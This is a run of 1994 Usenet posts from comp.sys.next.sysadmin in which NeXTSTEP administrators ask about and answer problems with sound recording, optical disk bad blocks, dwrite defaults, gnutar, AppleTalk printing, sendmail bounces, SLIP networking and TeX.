Date: 14 Feb 1994 21:59:13 GMT
Organization: University of California, Berkeley
Distribution: world
Message-ID: <2jos7h$sl9@agate.berkeley.edu>
References: <2jolju$9o6@news.duke.edu>
In article <2jolju$9o6@news.duke.edu> bob@stirling.egr.duke.edu (Robert R Reynolds) writes:
>I cannot get the "Lip Service" feature of NextMail
>to record a message. The lip service panel appears
>and the buttons light up when clicked upon but no
>sound is recorded. I can find no reference to such
>a problem in the documentation.
You should first determine if this happens only to
NeXT Mail's Lip Service, or if /NextDeveloper/Demos/Sound.app
also cannot record.
It would also be helpful to show us reboot messages in
/usr/adm/messages starting with (from my machine):
Feb 13 14:22:23 moica mach: NeXT Mach 3.2: Mon Oct 18 21:57:41 PDT 1993; root(rc
builder):mk-149.30.15.obj~2/RC_m68k/RELEASE_M68K
[cut]
Feb 13 14:22:23 moica mach: sound0 at 0x200e000
Feb 13 14:22:23 moica mach: root on sd0
Feb 13 14:22:23 moica mach: en0: setting netmask to ffffff00, received from ....
Feb 13 14:22:48 moica reboot: Reboot complete
Feb 13 14:22:55 moica mach: audio kernel server initialized
----------
Do you get these, especially the lines with 'sound0' and the last one
about audio kernel server? Do you see any audio/sound related error message
there?
--
Izumi Ohzawa [ $@Bg_78^=;(J ]
USMail: University of California, 360 Minor Hall, Berkeley, CA 94720
Telephone: (510) 642-6440 Fax: (510) 642-3323
Internet: izumi@pinoko.berkeley.edu (NeXTMail OK)
Newsgroups: comp.sys.next.sysadmin
From: sanders-malcolm@cs.yale.edu (Malcolm Sanders)
Subject: Bad Blocks again (Fix my OD?)
Message-ID: <2jor5cINN2iu@FROG.ZOO2.CS.YALE.EDU>
Sender: news@cs.yale.edu (Usenet News)
Organization: /homes/ee/sanders/.organization
Date: Mon, 14 Feb 1994 21:41:00 GMT
I have an Internal Optical disk that is refusing to mount properly. When I
try to fsck it I receive the following information:
-------------
#/>/usr/etc/fsck /dev/rod0a
** /dev/rod0a
CANNOT READ: BLK 48
CONTINUE? y
THE FOLLOWING SECTORS COULD NOT BE READ: 50,
#/>
-------------
Is there any way around this? I have a feeling that I could reassign
block 48 using the bad->edit command in /etc/disk, but I'm not quite
sure what to write in there. Does anyone know how this works?
In everyone's debt.
Malcolm M. Sanders
mms@jax.org
From: s771966@minyos.xx.rmit.EDU.AU (David Green)
Newsgroups: comp.sys.next.sysadmin
Subject: Global Variables in System Database?
Date: 14 Feb 94 22:16:22 GMT
Organization: Royal Melbourne Institute of Technology, Melbourne, Australia.
Message-ID: <s771966.761264182@minyos.xx.rmit.EDU.AU>
Summary: Question about global variables within system database
Keywords: Global Variables
Two questions today, one general, one specific.
1. General: Is there a complete list of the system variables which
can be set with the 'dwrite' command anywhere in the documentation?
2. Specific: I wish to change the default value of page size within
NeXTStep. I know that you do this by setting a GLOBAL variable in the
default database, the question is what is the correct variable name?
Is it NXPage, NXPageSize, NXPaper, NXPaperSize ... what?
Thanks in advance.
--
David Green | tel: +61 3 827 5828 | s771966@minyos.xx.rmit.edu.au
Melbourne, Australia | fax: +61 3 827 5876 |
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... What opinions ?
From: edmtl@alf.uib.no (Thor Legvold)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware,comp.sys.next.misc
Subject: Re: Problems printing envelopes with NeXT printer.
Date: 14 Feb 1994 23:54:00 +0100
Organization: University of Bergen
Message-ID: <2jove8$7va@alf.uib.no>
References: <BOOLB5WD@gwdu03.gwdg.de> <1994Feb11.090824.11338@rdbois.uucp>
yes - it works when envelopes are put in right way.
No - I did not say envelope was A4 itself - of course not!
It is standard envelope for A4 paper size (business folded).
Regards,
--
Thor Legvold | This is the strangest life
NorNeXT User Group leader | I've ever known...
University of Bergen | - Jim Morrison, The Doors
Norway | edmtl@fiol.uib.no (NeXTmail)
From: tll@cco.caltech.edu (Tal Lewis Lancaster)
Newsgroups: comp.sys.next.sysadmin
Subject: System Panic exceptions
Date: 14 Feb 1994 23:33:36 GMT
Organization: California Institute of Technology, Pasadena
Message-ID: <2jp1og$n0f@gap.cco.caltech.edu>
For the past month, I have been getting a System Panic exception (6,3,1)
during the bootup process. I get a prompt asking to continue or to reboot.
I pick reboot and then the system comes up fine (after it boots up the second
time.
Does anybody know what is causing this? How do I fixit?
--
The Principal from "Buffy, The Vampire Slayer",
"I think the students learned an important lesson on safety."
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Newsgroups: comp.sys.next.sysadmin
From: Matthias Rosenberger
Subject: Re: tar / gnutar ?
Message-ID: <1994Feb15.001856.28239@news.lrz-muenchen.de>
Sender: news@news.lrz-muenchen.de (Mr. News)
Organization: Leibniz-Rechenzentrum, Muenchen (Germany)
References: <1994Feb12.205106.13129@rdbois.uucp>
Date: Tue, 15 Feb 1994 00:18:56 GMT
In article <1994Feb12.205106.13129@rdbois.uucp> sr@rdbois.fdn.org (serge_ruby)
writes:
(...)
> (NS 2.1). My questio is:
> Is gnutar any better than the tar delivered with the NeXT?
> If yes in what aspect?
> Is the syntax exactly the same?
>
> Should I go for it?
(...)
--------------------------------------------------
#gnutar --version
GNU tar version 1.11.2
# gnutar --help
This is GNU tar, the tape archiving program.
choose one of the following:
-A, --catenate,
--concatenate append tar files to an archive
-c, --create create a new archive
-d, --diff,
--compare find differences between archive and file system
--delete delete from the archive (not for use on mag tapes!)
-r, --append append files to the end of an archive
-t, --list list the contents of an archive
-u, --update only append files that are newer than copy in archive
-x, --extract,
--get extract files from an archive
Other options:
--atime-preserve don't change access times on dumped files
-b, --block-size N block size of Nx512 bytes (default N=20)
-B, --read-full-blocks reblock as we read (for reading 4.2BSD pipes)
-C, --directory DIR change to directory DIR
--checkpoint print directory names while reading the archive
-f, --file [HOSTNAME:]F use archive file or device F (default /dev/rst0)
--force-local archive file is local even if has a colon
-F, --info-script F
--new-volume-script F run script at end of each tape (implies -M)
-G, --incremental create/list/extract old GNU-format incremental backup
-g, --listed-incremental F create/list/extract new GNU-format incremental
backup
-h, --dereference don't dump symlinks; dump the files they point to
-i, --ignore-zeros ignore blocks of zeros in archive (normally mean EOF)
--ignore-failed-read don't exit with non-zero status on unreadable files
-k, --keep-old-files keep existing files; don't overwrite them from archive
-K, --starting-file F begin at file F in the archive
-l, --one-file-system stay in local file system when creating an archive
-L, --tape-length N change tapes after writing N*1024 bytes
-m, --modification-time don't extract file modified time
-M, --multi-volume create/list/extract multi-volume archive
-N, --after-date DATE,
--newer DATE only store files newer than DATE
-o, --old-archive,
--portability write a V7 format archive, rather than ANSI format
-O, --to-stdout extract files to standard output
-p, --same-permissions,
--preserve-permissions extract all protection information
-P, --absolute-paths don't strip leading `/'s from file names
--preserve like -p -s
-R, --record-number show record number within archive with each message
--remove-files remove files after adding them to the archive
-s, --same-order,
--preserve-order list of names to extract is sorted to match archive
--same-owner create extracted files with the same ownership
-S, --sparse handle sparse files efficiently
-T, --files-from F get names to extract or create from file F
--null -T reads null-terminated names, disable -C
--totals print total bytes written with --create
-v, --verbose verbosely list files processed
-V, --label NAME create archive with volume name NAME
--version print tar program version number
-w, --interactive,
--confirmation ask for confirmation for every action
-W, --verify attempt to verify the archive after writing it
--exclude FILE exclude file FILE
-X, --exclude-from FILE exclude files listed in FILE
-Z, --compress,
--uncompress filter the archive through compress
-z, --gzip,
--ungzip filter the archive through gzip
--use-compress-program PROG
filter the archive through PROG (which must accept -d)
--block-compress block the output of compression program for tapes
-[0-7][lmh] specify drive and density
--------------------------------------------------
The syntax is not quite the same as usual tar, as you see - but go for it since
it is able to handle path names longer than 100 characters and has some more
useful features!!
--
Matthias Rosenberger, Walter Schottky Institut, TU Muenchen
email: mrosen@next45.wsi.physik.tu-muenchen.de (NeXTmail wellcome)
Newsgroups: comp.sys.next.sysadmin
From: Matthias Rosenberger
Subject: Re: AppleTalk under 3.2
Message-ID: <1994Feb15.003112.28467@news.lrz-muenchen.de>
Keywords: AppleTalk printer failure
Sender: news@news.lrz-muenchen.de (Mr. News)
Organization: Leibniz-Rechenzentrum, Muenchen (Germany)
References: <2jdh5l$j4u@portal.gmu.edu>
Date: Tue, 15 Feb 1994 00:31:12 GMT
In article <2jdh5l$j4u@portal.gmu.edu> csmith@blackplague.gmu.edu (Christian
Smith) writes:
> I have used my old 3.0 CDRom to install AppleTalk onto a machine running 3.2.
> I have also replaced the 3.2 PrintManager.app with the one from the 3.0 disk.
> I can now open PrintManager, select AppleTalk as my Communication, browse
> the network for an Apple Laserwriter, select the one I want, and configure
> it as my printer. Now comes the problem. Print jobs sent to the printer
> just disappear. No errors, no printout, no nothing. If I pull up the print
> queue window, hit Pause and then send a print job, the print job enters the
> queue and stays there until I hit Continue at which point it goes to
> Printing and then "No active printing" but it never shows up at the printer.
> Yes, I do have the proper printer selected, and the printer works fine
> when I print from a Mac on the AppleTalk network. Anybody have any ideas
> on what is going wrong?
>
I've also the 3.0 AppleTalk package installed (NS 3.2). We have two Apple
Laserwriters attached to our net. On one I'm able to print, on the other not.
On the other printer my jobs disappear as you described it. Since the one
worked well, I didn't care about the other. I'm no AppleTalk expert, but our
Apple admin said something about some problems with zone or maybe sub zone
allocation or so - I don't remember exactly.
BTW, I didn't remove my NS3.2 PrintManager, I just renamed the old one to
PrintManager3.0.app and PrintManager3.0.app/PrintManager3.0 and use it just for
the AppleTalk installation tasks.
--
Matthias Rosenberger, Walter Schottky Institut, TU Muenchen
email: mrosen@macnet.wsi.physik.tu-muenchen.de (NeXTmail wellcome)
Newsgroups: comp.sys.next.sysadmin
From: Matthias Rosenberger
Subject: Re: AppleTalk under 3.2
Message-ID: <1994Feb15.004411.28725@news.lrz-muenchen.de>
Sender: news@news.lrz-muenchen.de (Mr. News)
Organization: Leibniz-Rechenzentrum, Muenchen (Germany)
References: <1994Feb15.003112.28467@news.lrz-muenchen.de>
Date: Tue, 15 Feb 1994 00:44:11 GMT
In article <1994Feb15.003112.28467@news.lrz-muenchen.de> Matthias Rosenberger
writes:
(...)
--
> Matthias Rosenberger, Walter Schottky Institut, TU Muenchen
> email: mrosen@macnet.wsi.physik.tu-muenchen.de (NeXTmail wellcome)
^^^^^^
Sorry, a wrong mail address was posted. Look up the correct one, if you want to
use it ;^)
--
Matthias Rosenberger, Walter Schottky Institut, TU Muenchen
email: matthias@macnet.wsi.physik.tu-muenchen.de (NeXTmail wellcome)
Newsgroups: comp.sys.next.sysadmin,comp.mail.sendmail
From: westes@netcom.com (Will Estes)
Subject: Problems with NeXT rmail
Message-ID: <westesCL8o1A.DIM@netcom.com>
Organization: Mail Group
Date: Tue, 15 Feb 1994 00:00:44 GMT
We are getting mail bounced back to an undeliverable address in the
return-path, and I need help working around this.
We have a NeXT for Intel 3.2 system acting as a UUCP mail host for
our company. Sendmail is configured to work with SMTP type
addresses rather than requiring bang-style addressing. The problem
we have is this: we get mail from our service provider with a From
envelope that uses typical SMTP style addressing. An example:
From westes@netcom.com Mon Feb 14 15:25:54 1994
rmail in all of its wisdom converts these to:
return-path: <somewhere!westes@netcom.com>
...
From: westes@netcom.com
If the mail is going to a valid address, this is fine. But if the
mail is delivered to a bad address, and needs to be bounced, then it
is being sent back to the address in the return-path, rather than
the address in the From: field.
My questions:
1) Which piece of software is responsible for routing the bounced
mail? Is it sendmail? If yes, why is it using the return-path
instead of the From: field?
2) What is the best way to solve this problem?:
- get an rmail that writes the return-path without
"somewhere!..."
- write a rule in sendmail.cf to look for somewhere! and
remove it (a real hack, I think)
- other?
Any tips are appreciated.
--
Will Estes Internet: westes@netcom.com
Newsgroups: comp.sys.next.sysadmin,comp.mail.sendmail
From: rickert@mp.cs.niu.edu (Neil Rickert)
Subject: Re: Problems with NeXT rmail
Message-ID: <1994Feb15.015509.19852@mp.cs.niu.edu>
Organization: Northern Illinois University
References: <westesCL8o1A.DIM@netcom.com>
Date: Tue, 15 Feb 1994 01:55:09 GMT
In article <westesCL8o1A.DIM@netcom.com> westes@netcom.com (Will Estes) writes:
> The problem
>we have is this: we get mail from our service provider with a From
>envelope that uses typical SMTP style addressing. An example:
>
> From westes@netcom.com Mon Feb 14 15:25:54 1994
>
>rmail in all of its wisdom converts these to:
>
> return-path: <somewhere!westes@netcom.com>
> ...
> From: westes@netcom.com
I think you will find that the original message already has a "From:" which
is not being touched.
>1) Which piece of software is responsible for routing the bounced
>mail? Is it sendmail? If yes, why is it using the return-path
>instead of the From: field?
It is using the return-path, because bounces are what you are supposed
to return on that path. For mailing lists, for example, the return-path
should be to the mailing list administrator, rather than to the author.
>2) What is the best way to solve this problem?:
>
> - get an rmail that writes the return-path without
> "somewhere!..."
Yes, that will solve the problem. It is possible, however, that you
will then finish up with:
return-path: <uucp>
> - write a rule in sendmail.cf to look for somewhere! and
> remove it (a real hack, I think)
Yes it is a real hack. But it may do the job more reliably and with less
trouble than anything else. You can probably use something like
Rsomewhere!$+<@$+>$* $:$1<@$2>$3
at the beginning of ruleset 1.
> - other?
Persuade your service provider to use UUCP style addresses on UUCP mail.
Newsgroups: comp.sys.next.sysadmin
From: Robert La Ferla <Robert_La_Ferla@hot.com>
Subject: Re: tar / gnutar ?
Message-ID: <1994Feb14.220118.630@hot.com>
Sender: robertl@hot.com
Organization: Hot Technologies
References: <1994Feb12.205106.13129@rdbois.uucp>
Date: Mon, 14 Feb 1994 22:01:18 GMT
Yes, go for it. gnutar is GNU tar. It's a drop in replacement for
tar that works on many systems and can handle long filenames.
And while you're at it, pick up a copy of "gzip" which allows you to
compress/uncompress files better than "compress" and "uncompress"
The source code to these programs are available from:
prep.ai.mit.edu:/pub/gnu?
Robert La Ferla
Hot Technologies
NEXTSTEP ISV and Consulting
In article <1994Feb12.205106.13129@rdbois.uucp> sr@rdbois.fdn.org
(serge_ruby) writes:
> I know tar as is is widely available on Unix systems. You all
mention gnutar
> quite often in the articles.
>
> I guess it is the version of tar by GNU but I don't seem to have it
on my NeXT
> (NS 2.1). My questio is:
>
> Is gnutar any better than the tar delivered with the NeXT?
>
> If yes in what aspect?
>
> Is the syntax exactly the same?
>
> Should I go for it?
>
> Thanks in advance
>
> Serge
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From: sr@rdbois.fdn.org (serge_ruby)
Subject: Re: tar / gnutar ?
Message-ID: <1994Feb14.230004.16387@rdbois.uucp>
Sender: sr@rdbois.uucp (serge_ruby)
Organization: S.RUBY
References: <1994Feb12.205106.13129@rdbois.uucp>
Date: Mon, 14 Feb 1994 23:00:04 GMT
Thanks a lot to all who replied me. As they all did it by mail and I think
there answers can be of interest to others I summarize them here and I have one
more question:
Does gnutar handle file names containing spaces? I try to avoid them but
sometimes I type on by mistake and the OS does not complain, which in a sense
is greeat for the user, but can lead into administration problems when files
have to be handled at the Unix level. (I think it should be a preference option
to allow such names by the way).
> I know tar as is is widely available on Unix systems. You all mention gnutar
> quite often in the articles.
>
> I guess it is the version of tar by GNU but I don't seem to have it on my
NeXT
> (NS 2.1). My questio is:
>
> Is gnutar any better than the tar delivered with the NeXT?
Yes, it is now delivered with NS 3.2
>
> If yes in what aspect?
More robust, faster and supports very long file names.
Handles arbitrary file names (regular tar will ignore files with name
+100 chars).
Does multi-volume backups.
Does compressed backup.
Does remote host backups.
>
> Is the syntax exactly the same?
Yes: superset of standard tar
>
> Should I go for it?
Yes. The prevalence of long filenames on NS makes regular tar fairly
useless.
Thanks for your answers
Serge
From: hussain@artsci.wustl.edu (G. H. Chinoy)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software
Subject: recommentation for fingerd/finger replacement?
Date: 15 Feb 1994 04:49:24 GMT
Organization: Washington University, St. Louis, MO
Message-ID: <2jpk8k$6d3@bigfoot.wustl.edu>
I was wondering what people would recommend to replace NeXT's standard
fingerd/finger?
email replies accepted.
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Consultant, Arts & Sciences NeXT Lab
hussain@artsci.wustl.edu
From: ian@mindvox.phantom.com (Ian Bainbridge)
Newsgroups: comp.sys.next.sysadmin
Subject: 3.2 Upgrade vs. clean install
Date: Tue, 15 Feb 94 02:46:33 EST
Organization: [MindVox] / Phantom Access Technologies / (+1 800-MindVox)
Distribution: world
Message-ID: <0F4RHc1w165w@mindvox.phantom.com>
Originator: ian@mindvox
We are going to be switching 5 machines over from NS 3.1 to 3.2 and find
ourselves asking two basic questions.
#1: Over the last few months there have been several reports of problems
when updating NS from 3.1 to 3.2. These troubles apparently only occured
when updating, never from a clean install. Is this accurate, and are
there any known problems with simply doing an update, or advantages to a
clean install?
#2: The serial port drivers were broken under 3.1, a new set released,
they kind of worked and were re-broken in 3.2 to a state that's worse
then the "fixed" ones in 3.1. But apparently someone has written a third
party public domain serial port driver which DOES work. Could the author,
or anyone who has further information please post here or send me an update?
Any and all advice before I do something stupid is appreciated ;-)
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From: gonzo@cs.tu-berlin.de (S. F. Ruehauf)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer
Subject: DCE on NeXT
Date: 15 Feb 1994 08:12:42 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <2jq05q$12s@news.cs.tu-berlin.de>
Mime-Version: 1.0
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Keywords: DCE, NeXT
hello
I am looking for a DCE (Distributed Computing Enviroment)
port to the NeXT platform.
Who knows something?
Please respond via e-mail
Stephan
--
Stephan Fruhauf gonzo@cs.tu-berlin.de
what is X400? s=gonzo ou=opal p=tu-berlin a=dbp c=de
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From: paul@seer.demon.co.uk (Paul Lynch)
Subject: Re: Global Variables in System Database?
Message-ID: <1994Feb15.110117.7552@seer.demon.co.uk>
Sender: paul@seer.demon.co.uk
Organization: P & L Systems
References: <s771966.761264182@minyos.xx.rmit.EDU.AU>
Date: Tue, 15 Feb 1994 11:01:17 GMT
In article <s771966.761264182@minyos.xx.rmit.EDU.AU>
s771966@minyos.xx.rmit.EDU.AU (David Green) writes:
> Two questions today, one general, one specific.
>
> 1. General: Is there a complete list of the system variables which
> can be set with the 'dwrite' command anywhere in the documentation?
No. NeXT even imply that dwrite values are unsupported, and subject to
change without notice.
> 2. Specific: I wish to change the default value of page size within
> NeXTStep. I know that you do this by setting a GLOBAL variable in the
> default database, the question is what is the correct variable name?
> Is it NXPage, NXPageSize, NXPaper, NXPaperSize ... what?
dwrite GLOBAL NXPaperType A4
Not all apps use it, however.
Paul
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Tel: (0494)671501 9 Stable Lane, Seer Green,
Fax: (0494)680228 Bucks, HP9 2YT, UK
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From: djm4m@poe.acc.Virginia.EDU (David J. Messner)
Subject: Netinfo host name changes -- reflect in domain names???
Message-ID: <CL2GLA.9uL@murdoch.acc.Virginia.EDU>
Summary: How do you change a Netinfo domain's name?
Keywords: netinfo, domain, host
Sender: usenet@murdoch.acc.Virginia.EDU
Organization: University of Virginia
Distribution: usa
Date: Fri, 11 Feb 1994 15:34:21 GMT
Hello,
I have just changed the host names on our netinfo network. My question
is how to change the domain names in netinfo accordingly????
(Black, sv 2.1)
Thanks in advance!
-Dave djm4m@poe.acc.virginia.edu
--
David Messner NeXTSTEP: The NeXT
djm4m@poe.acc.virginia.edu Generation
Network Administrator/Programmer
Piedmont Virginia Community College, Charlottesville VA
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Subject: fax and hardlinks
Message-ID: <1994Feb15.112639.25158@urz.unibas.ch>
From: frank@ifi.unibas.ch (Robert Frank)
Date: Tue, 15 Feb 1994 11:26:39 GMT
Sender: news@urz.unibas.ch (USENET News System)
Organization: Institut fuer Informatik
Keywords: fax, hardlinks
Hello netters,
I am a little puzzled about the fact, that our NeXT machines running 3.0
suddenly only recognise the *French* fax cover sheets, although all
languages are set to English! Does anyone have an explanation for that?
The other thing is about hard links. I know I violated the rules stated in
the man pages, but it is possible to create a hard link to a directory by
using the (undocumented) switch -f [found that in the SUN man pages!].
Now, creating a new directory hard link is one thing, removing it the
other. Unfortunately, the SUN man pages does not mention how to do this.
Anyone an idea?
-Robert
--
Robert Frank tel. +41 (0)61 321 99 67
Institut fuer Informatik fax +41 (0)61 321 99 15
University of Basel, Switzerland
Mittlere Strasse 142 rfc822: frank@ifi.unibas.ch (NeXT mail ok)
CH-4056 Basel X400: S=frank;OU=ifi;O=unibas;P=switch;A=arcom;C=ch
( if all fails try frank@urz.unibas.ch )
From: arneha@ifi.uio.no (=?iso-8859-1?Q?Arne_Christian_H=E5rseth?= )
Newsgroups: comp.sys.next.sysadmin
Subject: Re: ZMODEM
Date: 15 Feb 1994 06:52:22 -0600
Organization: UTexas Mail-to-News Gateway
Sender: daemon@cs.utexas.edu
Message-ID: <19940215125216.3704.holmenkollen.ifi.uio.no@ifi.uio.no>
Hi !
Thanks for the tip, but I can't find /pub/next on
arcadia.informatik.uni-muenchen.de !
Is the Zmodem placed elsewere ?
Arne Haarseth (arneha@ifi.uio.no)
From: cader@tosh.cas.american.edu (Masud Cader)
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
Subject: Sybase admin front end
Date: 15 Feb 1994 13:14:43 GMT
Organization: The American University Computing Center
Message-ID: <2jqhs3$h6s@paladin.american.edu>
Keywords: sybase
NeXT Netters,
Where can I find the new{?} (other than original upgrade
distribution with 2.1) graphical front-end to sybase?
Thanks.
---Masud.
From: mlescoez@tsiny.psca.com (Mark Paul LeScoezec)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: DCE on NeXT
Date: 15 Feb 1994 10:29:17 -0500
Organization: The Ohio State University
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Message-ID: <9402151528.AA16421@tsiny.psca.com>
You may want to check with Transarc. They are the technology
provider to OSF for DCE. They probably will not be porting to
NeXTSTEP until OpenStep is a reality. Give them a call:
Transarc Corp. (412)338-4400
email: encina@transarc.com
---
Mark LeScoezec Paradigm Systems
System Administrator (212)850-8135
ml@ny.psca.com 666 Third Ave
NeXTmail/MIME okay NY, NY 10017
.In comp.sys.next.sysadmin article <2jq05q$12s@news.cs.tu-berlin.de>
you wrote:
> hello
>
>
> I am looking for a DCE (Distributed Computing Enviroment)
> port to the NeXT platform.
> Who knows something?
>
> Please respond via e-mail
>
> Stephan
> --
> Stephan Fruhauf gonzo@cs.tu-berlin.de
> what is X400? s=gonzo ou=opal p=tu-berlin a=dbp c=de
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From: engelsma@pine.csis.gvsu.edu (Ben Engelsma)
Subject: HELP with Enabling dialup ( ttys, gettytab )
Message-ID: <1994Feb15.155902.29543@beech.csis.gvsu.edu>
Sender: news@beech.csis.gvsu.edu
Organization: Grand Valley State University, Allendale MI
Date: Tue, 15 Feb 1994 15:59:02 GMT
Hi,
I know this subject has been covered before, but I need
some more help. I want to enable my hardware to accept
logins from incoming calls. I have not been very
successful. I have a ZyXel modem with White hardware.
Could someone who has this feature working send me a
copy of there ttys and gettytab files?
Thanx,
Ben
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Grand Valley State University
Telephone (616)453-0974
From: lin@cs.umd.edu (Shyang-Wen Lin)
Newsgroups: comp.sys.next.sysadmin
Subject: simple network on top of slip connection
Date: 15 Feb 1994 12:50:02 -0500
Organization: U of Maryland, Dept. of Computer Science, Coll. Pk., MD 20742
Distribution: usa
Message-ID: <2jr20a$k6l@ringding.cs.umd.edu>
At the beginning, we got a NeXT station that connect to Internet thru
a phone line using SLIP and was assigned an Internet address to use.
Now we got another NeXT station that we like to connect to the first
one. Any one done thing like this before ?
We would like to use the one that connect to SLIP as the master
server. Running version 3.2 of NeXTSTEP, we tried
SimpleNetworkStarter. SLIP connection is done by Teleconnect at boot
time. When SNS went thru the 'Be a server' routine and get to the
point where it should ask user to physically connect the network
cable, it didn't. It just disappeared.
Another problem we can see this far is the addressing. Hostconfig in
the station that has SLIP connection contains the Internet address
assigned to our SLIP line. Do we need another address in the same
subdomain for the second station ? It doesn't looks like a good idea
to use the default since the second station will, hopefully, be
connected to Internet thru the first one. Or we will have to rlogin to
the first machine then connect to Internet ?
If anyone have done something similar, any suggestion will be
appreciated. A walkthrough will be most helpful. Thanks in advance.
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Spoken: Shyang-Wen Lin
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From: gary@uaneuro.uah.ualberta.ca
Subject: Re: SLIP, netcom, freeze/burn help help help *boing*
Message-ID: <1994Feb15.170551.862@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
References: <2jlg0g$8e3@news.cc.oberlin.edu>
Date: Tue, 15 Feb 1994 17:05:51 GMT
> (What is POP3?)
This is the Post Office Protocol. You can get the source code (easy to
compile on NEXTSTEP) from ftp.CC.Berkeley.EDU in /pub. To install you
have to make changes to "services" in NetInfo and modify inetd.conf.
--
Gary Ritchie : NeXT Programmer
Department of Medicine (Neurology) : University of Alberta Hospital
gary@uaneuro.uah.ualberta.ca : NEXTMAIL Welcome
(403) 492-8648
From: M.Crawford@dcs.shef.ac.uk (Malcolm Crawford)
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin
Subject: Mail Pictures
Date: 15 Feb 1994 12:13:02 -0600
Organization: UTexas Mail-to-News Gateway
Sender: daemon@cs.utexas.edu
Message-ID: <9402151813.AA06726@dcs.shef.ac.uk>
[Thanks to Paul Lynch for pointing me in the right direction on this
one a couple of days ago -- any mistakes in the folowing are mine not
his. This message is cc-ed to sysadmin as a follow-up to the same
question I posted a couple of days ago.]
> I am setting up a new mail system for a network of NeXT
> computers. I would like to be able to have pictures
> appear for the person who sent a message. I know how to
> do this for people actually on my network (By adding the
> image to /LocalLibrary/Images/People/(username).tiff and
> then running mailDBupdate). What I would like to do is
> to have pictures appear for mail sent from accounts
> outside of my network.
>
To have pictures appear for mail sent from accounts outside of your
local network simply:
Quit Mail
add "bogus" user names to the passwd file in
/LocalLibrary/Images/People/ which you created by running mailDBupdate
of the form:
m.crawford@dcs.shef.ac.uk::::::/bin/csh
and add apropriately-named icons, e.g
m.crawford@dcs.shef.ac.uk.tiff
(use all-lower-case throughout).
Restart Mail, and "it just works".
I suspect you will run into problems if you have set up a cron job to
run mailDBupdate since this overwrites the passwd file... I'm not sure
what's the best way of getting round this; some solutions may have
security problems...?!
I hope this helps,
Have fun,
mmalcolm.
From: bob@stirling.egr.duke.edu (Robert R Reynolds)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: "Lip Service" no longer works.
Date: 15 Feb 1994 18:10:45 GMT
Organization: Duke University; Durham, N.C., USA
Distribution: world
Message-ID: <2jr375$3j9@news.duke.edu>
References: <2jos7h$sl9@agate.berkeley.edu>
In article <2jos7h$sl9@agate.berkeley.edu> izumi@pinoko.berkeley.edu
(Izumi Ohzawa) writes:
> In article <2jolju$9o6@news.duke.edu> bob@stirling.egr.duke.edu (Robert
R Reynolds) writes:
> >I cannot get the "Lip Service" feature of NextMail
> >to record a message.
>
> You should first determine if this happens only to
> NeXT Mail's Lip Service, or if /NextDeveloper/Demos/Sound.app
> also cannot record.
Sound.app works fine.
> It would also be helpful to show us reboot messages in
> /usr/adm/messages
> Do you get these, especially the lines with 'sound0' and the last one
> about audio kernel server? Do you see any audio/sound related error
> message there?
>
I'm afraid that it's all there. The boot-up messages look like:
Feb 2 19:00:15 stirling mach: NeXT ROM Monitor 2.1 v59
Feb 2 19:00:15 stirling mach: NeXT Mach 3.2: Mon Oct 18 21:57:41 PDT
1993; root(rcbuilder):mk-149.30.15.obj~2/RC_m68k/RELEASE_M68K
Feb 2 19:00:15 stirling mach: FPU version 0x40
Feb 2 19:00:15 stirling mach: physical memory = 20.00 megabytes.
Feb 2 19:00:15 stirling mach: available memory = 17.92 megabytes.
Feb 2 19:00:15 stirling mach: using 126 buffers containing 0.98 megabytes
of memory
Feb 2 19:00:15 stirling mach: fc0 at 0x2114100
Feb 2 19:00:15 stirling mach: Sony MPX-111N as fd0 at fc0 slave 0
Feb 2 19:00:15 stirling mach: SCSI 53C90A Controller, Target 7, as sc0 at
0x2114000
Feb 2 19:00:15 stirling mach: SEAGATE ST1480 Rev 5129 as sd0 at sc0
target 1 lun 0
Feb 2 19:00:15 stirling mach: Disk Label: NeXT_2.1_Ext
Feb 2 19:00:15 stirling mach: Disk Capacity 406MB, Device Block 512
bytes
Feb 2 19:00:15 stirling mach: SONY CD-ROM CDU-541 Rev 2.6a as sd1 at
sc0 target 4 lun 0
Feb 2 19:00:15 stirling mach: sd1: UNIT ATTENTION
Feb 2 19:00:15 stirling mach: Waiting for drive to come ready
Feb 2 19:00:15 stirling mach: ...................
Feb 2 19:00:15 stirling mach: HP HP35450A -A Rev as st0 at sc0
target 2 lun 0
Feb 2 19:00:15 stirling mach: Generic SCSI Device as sg0 at sc0 target 7
lun 7
Feb 2 19:00:15 stirling mach: Generic SCSI Device as sg1 at sc0 target 7
lun 7
Feb 2 19:00:15 stirling mach: Generic SCSI Device as sg2 at sc0 target 7
lun 7
Feb 2 19:00:15 stirling mach: Generic SCSI Device as sg3 at sc0 target 7
lun 7
Feb 2 19:00:15 stirling mach: en0 at 0x2106000
Feb 2 19:00:15 stirling mach: en0: Ethernet address 00:00:0f:00:7e:20
Feb 2 19:00:15 stirling mach: IP protocol enabled for interface en0, type
"10MB Ethernet"
Feb 2 19:00:15 stirling mach: dsp0 at 0x2108000
Feb 2 19:00:15 stirling mach: np0 at 0x200f000
Feb 2 19:00:15 stirling mach: sound0 at 0x200e000
Feb 2 19:00:15 stirling mach: root on sd0
Feb 2 19:00:15 stirling mach: WARNING: clock lost 0 days -- CHECK AND
RESET THE DATE!
Feb 2 19:00:24 stirling reboot: Reboot complete
Feb 2 19:00:31 stirling mach: audio kernel server initialized
It appears to be localized to the Mail app.
Bob
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From: woo@stc06 (John W. Wooten)
Subject: TeX on 3.2 NeXTStep?
Message-ID: <1994Feb15.202137.6273@ornl.gov>
Sender: usenet@ornl.gov (News poster)
Organization: Oak Ridge National Laboratory
Date: Tue, 15 Feb 1994 20:21:37 GMT
I've just finished upgrading to 3.2 on Black Hardware. I installed TeX,
and now get strange message:
- tex -v "story"
This is CTeX, NeXT Version 3.141
(Fatal format file error; I'm stymied)
Any clues appreciated. Only thing I can imagine right now is that
/NextLibrary where TeX is, is actually on another device with a soft link
at / to the .NextLibrary on the other drive. This works fine from the
File Viewer, etc., but could TeX not be able to follow the soft link?
- - - - - - J. W. Wooten
From: averill@bela.music.washington.edu (Ron Averill)
Newsgroups: comp.sys.next.sysadmin
